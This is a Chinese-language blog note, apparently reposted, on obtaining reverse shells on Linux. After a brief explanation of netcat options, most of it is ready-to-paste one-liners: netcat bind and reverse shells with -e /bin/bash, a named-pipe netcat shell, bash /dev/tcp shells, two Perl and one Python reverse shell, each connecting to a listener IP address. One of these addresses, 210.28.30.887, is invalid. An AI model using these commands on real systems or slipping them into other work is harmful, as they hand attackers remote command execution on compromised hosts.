Linux下反彈shell筆記


Linux下反彈shell筆記

0x00 NC命令詳解


在介紹如何反彈shell之前,先了解相關知識要點。

nc全稱為netcat,所做的就是在兩台電腦之間建立鏈接,並返回兩個數據流

  • 可運行在TCP或者UDP模式,添加參數 —u 則調整為udP,默認為tcp
  • -v 參數,詳細輸出
  • n參數高數netcat不要DNS反向查詢IP的域名
  • z參數,連接成功后立即關閉連接

$ nc -v 172.31.100.7 21
netcat 命令會連接開放端口21並且打印運行在這個端口上服務的banner信息。

使用nc聊天

$nc -l 1567
netcat 命令在1567端口啟動了一個tcp 服務器,所有的標准輸出和輸入會輸出到該端口。輸出和輸入都在此shell中展示。

$nc 172.31.100.7 1567
不管你在機器B上鍵入什么都會出現在機器A上。

實測好像並不可以...

nc進行文件傳輸

Server:
$nc -l 1567 < file.txt

Client:
$nc -n 172.31.100.7 1567 > file.txt

好像也不行...
不管這些還是直接來反彈shell吧

0x01 NC反彈shell


正向反彈shell

服務器端

nc -lvvp 7777 -e /bin/bash

本地

nc 192.168.242.129 7777

即可獲得服務器端的shell

反向反彈shell

服務端

nc -e /bin/bash 192.168.242.1 7777

本地

nc -lvvp 7777

不使用-e參數反彈

使用管道
服務端

mknod /tmp/backpipe p
/bin/sh 0</tmp/backpipe | nc 192.168.242.1 7777 1>/tmp/backpipe

攻擊端

nc -lnvp 7777

mknod需要root用戶,但是也可以通過mkfifo /tmp/backpipe也可以創建一個管道。

0x02 Bash反彈


服務端:

bash -c 'sh -i &>/dev/tcp/210.28.30.887/53 0>&1'

或者

bash -i >& /dev/tcp/192.168.242.1/7777 0>&1

攻擊端:

nc -lvvp 7777

0x03 Perl反彈shell


服務端:

perl -e 'use Socket;$i="192.168.242.1";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

或者

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.242.1:7777");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

0x04 Python


python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("120.27.32.227",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

0x05 最后


個人覺得這幾種應該就夠用了,至於其他環境,再看具體情況吧,有一些環境服務器不一定有的


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM